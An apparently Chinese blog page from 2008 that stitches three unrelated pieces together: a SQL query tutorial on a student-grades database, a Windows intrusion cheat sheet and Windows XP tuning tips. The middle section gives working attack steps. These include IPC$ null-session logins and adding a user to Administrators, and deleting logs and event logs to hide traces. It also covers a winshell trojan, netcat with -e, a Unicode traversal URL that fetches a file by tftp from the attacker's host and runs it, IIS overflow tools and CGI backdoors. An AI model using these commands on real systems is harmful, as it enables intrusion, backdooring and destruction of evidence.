| « | 七月 2008 | » | ||||
|---|---|---|---|---|---|---|
| 一 | 二 | 三 | 四 | 五 | 六 | 日 |
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 | 31 | |||
为了大家更容易理解我举出的SQL语句,本文假定已经建立了一个学生成绩管理数据库,全文均以学生成绩的管理为例来描述。
1.在查询结果中显示列名:
a.用as关键字:select name as '姓名' from students order by age
b.直接表示:select name '姓名' from students order by age
2.精确查找:
a.用in限定范围:select * from students where native in ('湖南', '四川')
b.between...and:select * from students where age between 20 and 30
c.“=”:select * from students where name = '李山'
d.like:select * from students where name like '李%' (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:'%李%';若是第二个字为李,则应为'_李%'或'_李'或'_李_'。)
e.[]匹配检查符:select * from courses where cno like '[AC]%' (表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select * from courses where cno like '[A-C]%')
3.对于时间类型变量的处理
a.smalldatetime:直接按照字符串处理的方式进行处理,例如:
select * from students where birth > = '1980-1-1' and birth <= '1980-12-31'
4.集函数
a.count()求和,如:select count(*) from students (求学生总人数)
b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’
c.max(列)和min(列),求最大与最小
5.分组group
常用于统计时,如分组查总数:
select gender,count(sno)
from students
group by gender
(查看男女学生各有多少)
注意:从哪种角度分组就从哪列"group by"
对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和性别(gender),所以有"group by grade, mno, gender"
select grade, mno, gender, count(*)
from students
group by grade, mno, gender
通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:
select sno,count(*) from grades
where mark<60
group by sno
having count(*)>1
6.UNION联合
合并查询结果,如:
SELECT * FROM students
WHERE name like ‘张%’
UNION [ALL]
SELECT * FROM students
WHERE name like ‘李%’
7.多表查询
a.内连接
select g.sno,s.name,c.coursename
from grades g JOIN students s ON g.sno=s.sno
JOIN courses c ON g.cno=c.cno
(注意可以引用别名)
b.外连接
b1.左连接
select courses.cno,max(coursename),count(sno)
from courses LEFT JOIN grades ON courses.cno=grades.cno
group by courses.cno
左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。
左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。
b2.右连接
与左连接类似
b3.全连接
select sno,name,major
from students FULL JOIN majors ON students.mno=majors.mno
两边表中的内容全部显示
c.自身连接
select c1.cno,c1.coursename,c1.pno,c2.coursename
from courses c1,courses c2 where c1.pno=c2.cno
采用别名解决问题。
d.交叉连接
select lastname+firstname from lastname CROSS JOIN firstanme
相当于做笛卡儿积
8.嵌套查询
a.用关键字IN,如查询李山的同乡:
select * from students
where native in (select native from students where name=’ 李山’)
b.使用关键字EXIST,比如,下面两句是等价的:
select * from students
where sno in (select sno from grades where cno=’B2’)
select * from students where exists
(select * from grades where
grades.sno=students.sno AND cno=’B2’)
9.关于排序order
a.对于排序order,有两种方法:asc升序和desc降序
b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:
select sno,count(*) ,avg(mark) from grades
group by sno
having avg(mark)>85
order by 3
10.其他
a.对于有空格的识别名称,应该用"[]"括住。
b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL
c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“||”而all则相当于逻辑运算“&&”
d.注意在做否定意义的查询是小心进入陷阱:
如,没有选修‘B2’课程的学生 :
select students.*
from students, grades
where students.sno=grades.sno
AND grades.cno <> ’B2’
上面的查询方式是错误的,正确方式见下方:
select * from students
where not exists (select * from grades
where grades.sno=students.sno AND cno='B2')
11.关于有难度多重嵌套查询的解决思想:
如,选修了全部课程的学生:
select *
from students
where not exists ( select *
from courses
where NOT EXISTS
(select *
from grades
where sno=students.sno
AND cno=courses.cno))
最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可。
(与远程主机建立空管连接) net use IP地址ipc$ "" /use:""
(以管理员身份登录远程主机) net use IP地址ipc$ "密码" /use:"Administrator"
(传送文件到远程主机WINNT目录下)copy 本机目录路径程序 IP地址admin$
(查看远程主机时间) net time IP地址
(定时启动某个程序) at IP地址 02:18 readme.exe
(查看共享) net view IP地址
(查看netbios工作组列表) nbtstat -A IP地址
(将远程主机C盘映射为自己的F盘) net use f: IP地址c$ ""/user:"Administrator"
(这两条把自己增加到管理员组): net user 用户名 密码 /add
net localgroup Administrators 用户名 /add
(断开连接) net use IP地址ipc$ /delete
扫尾:
del C:winntsystem32logfiles*.*
del C:winntssytem32config*.evt
del C:winntsystem32dtclog*.*
del C:winntsystem32*.log
del C:winntsystem32*.txt
del C:winnt*.txt
del C:winnt*.log
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
netsvc /list IP地址
netsvc schedule IP地址 /query
netsvc IP地址 schedule /start
二、OpenTelnet.exe
远程启动主机的Telnet服务,并绑定端口到7878,例如:
OpenTelnet IP地址 用户名 密码 1 7878
然后就可以telnet到主机的7878端口,进入DOS方式下:
telnet IP地址 7878
三、winshell.exe
一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:
p Path (查看winshell主程序的路径信息)
b reBoot (重新启动机器)
d shutDown (关闭机器)
s Shell (执行后你就会看到可爱的“C:>”)
x eXit (退出本次登录会话,此命令并不终止winshell的运行)
CMD> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)
四、3389登陆器,GUI方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave -s IP地址 -l "application" -C
elsave -s IP地址 -l "system" -C
elsave -s IP地址 -l "security" -C
执行后成功清除应用程序日志,系统日志,安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot [/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时 八、TFTPD32.EXE
把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:
http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:winntsystem32文件名
然后可以直接令文件运行:
http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。
一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接。
一、一 Xscan命令行运行参数说明:
在检测过程中,按"[空格]"键可以查看各线程状态及扫描进度,按"q"键保存当前数据后提前退出程序,按"<ctrl+c>"强行关闭程序。
1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
xscan -file <主机列表文件名> <检测项目> [其他选项]
其中<检测项目> 含义如下:
-port : 检测常用服务的端口状态(可通过datconfig.ini文件的"PORT-SCAN-OPTIONSPORT-LIST"项定制待检测端口列表);
-ftp : 检测FTP弱口令(可通过datconfig.ini文件设置用户名/密码字典文件);
-ntpass : 检测NT-Server弱口令(可通过datconfig.ini文件设置用户名/密码字典文件);
-cgi : 检测CGI漏洞(可通过datconfig.ini文件的"CGI-ENCODEencode_type"项设置编码方案);
-iis : 检测IIS漏洞(可通过datconfig.ini文件的"CGI-ENCODEencode_type"项设置编码方案);
[其他选项] 含义如下:
-v: 显示详细扫描进度
-p: 跳过Ping不通的主机
-o: 跳过没有检测到开放端口的主机
-t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
一、缩短启动时间 推荐大家使用微软发布的Bootvis软件,它能够对系统进行自动优化,以缩短启动所用的时间,在“Trace”中选择“Optimize System”然后重新启动即可;另外也可以通过Windows XP内建的MsConfig设置程序减少启动时所加载的程序来缩短启动时间,只在运行中输入启动“msconfig”再通过“Startup”进行相关设置即可。 1)、Bootvis
2)、msconfig
二、设置处理器二级缓存容量 Windows XP无法自动检测处理器的二级缓存容量,需要我们自己在注册表中手动设置,首先打开注册表(运行中输入“Regedit”),再打开:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management 选择“SecondLevelDataCache”,根据自己所用的处理器设置即可,例如PIII Coppermine/P4 Willamette是“256”,Athlon XP是“384”,P4 Northwood是“512”。
三、安装UPnP安全补丁程序 微软最新发布了针对Windows XP的UPnP安全补丁程序,该程序修正了WinXP中存在的安全漏洞,大家可以通过下面的地址更新:
Windows XP Home & Pro UPnP Patch 四、关闭系统还原及休眠支持 虽然这两项功能也并非完全没有任何作用,但考虑到需要需要占用很大的硬盘空间,所以最好把它们关闭;首先鼠标右健单击桌面上的“我的电脑”,选择“属性”,找到“系统还原(System Restore)”,在“Turn off System Restore on all drives”前打上勾就可以了。
休眠支持只需要通过控制面板 -> 电源选项 -> 休眠(Hibernate),把“Enable Hibernate”前面的勾去掉就可以了,这样一来可以空出512MB的硬盘空间。
五、释放QoS Packet所占用的20%网络带宽 Windows XP内建的QoS Packet需要占用20%的网络带宽,还好我们可以通过“Group Policy”来关闭,具体步骤如下: 在运行中输入“gpedit.msc”,启动该程序后,选择Computer Configuration -> Administrative Templates -> Network -> QoS Packet Scheduler,选择右边的“Limit reservable bandwidth”,设置为“Enabled”,再把“Bandwidth Limit”设置为“0”。
六、禁止虚拟内存(页面交换文件)执行 本方法最好在配备256MB以上内存(推荐384MB或512MB)的系统上使用,具体步骤为,启动注册表编辑器,然后找到:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management 选择“DisablePagingExecutive(禁止页面文件执行)”,设置为“1”,这样可以从一定程度上改善内存的性能,提高系统的运行速度,毕竟内存比硬盘快得多。
七、删除Windows XP中不需要的组件
1)、删除系统文件备份,执行sfc.exe /purgecache
2)、删除驱动备份,删除WINDOWS(XP安装目录)driver cachei386目录下的Driver.cab文件
3)、删除DLL备份文件,目录为WINDOWS(XP安装目录)system32dllcache,
4)、删除WINDOWS(XP安装目录)ime下不用的输入法 八、验证Windows XP是否已激活 在运行中输入“oobe/msoobe /a”;版本号可以通过WINDOWS(XP安装目录)system32/NTOSKRNL.EXE,鼠标右键 -> 选内容查看即可。
九、设置IRQ优先权 从HKEY_LOCAL_MACHINESystemCurrentControlSetControlPriorityControl,在右边新建名为“IRQ#Priority”的DWORD键值,其中“#”为相关设备的IRQ号,例如“8”,然后把键值设置为“1”即可;如果遇到IRQ问题,可以试试这个方法。
十、加快关机速度 与启动一样,Windows XP的关机速度也是一样的慢,要加快关机速度,首先我们先要通过注册表开启WinXP的自动结束任务功能(AutoEndTasks),具体步骤为: 找到HKEY_CURRENT_USERControl PanelDesktop,把AutoEndTasks的键值设置为1即可。
然后再修改“HungAppTimeout”为“4000(或更小)”(预设为50000),该键值同样也在HKEY_CURRENT_USERControl PanelDesktop目录下;最后一步再找到HKEY_LOCAL_MACHINESystemCurrentControlSetControl,同样把WaitToKillServiceTimeout设置为“4000”;通过这样设置后的关机速度明显快了一些, 十一、完全关闭Windows XP文件保护功能 从注册表中找到HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon,修改“SFCDisable”键值为“FFFFFF9D”,如果需要重新启用该功能,重新设置为“0”就可以了。
十二、启动硬盘/光驱DMA模式 打开系统属性 -> Hardware(硬件) -> Device Manager(设备管理器) -> IDE ATA/ATAPI controllers,选择“Primary IDE Channel”或“Secondary IDE Channel”,检查DMA模式是否已启动,一般来说如果设备支持,系统就会自动打开DMA功能;另外驱动器现在所用的传输模式也可以在这里看到。
十三、禁用Dr. Watson调试程序 在运行中输入“drwtsn32”,然后把除了“(Dump All Thread Contexts)转储全部线程上下文”之外的全都去掉,否则一旦有程序出错,硬盘会响很久,而且会占用很多硬盘空间。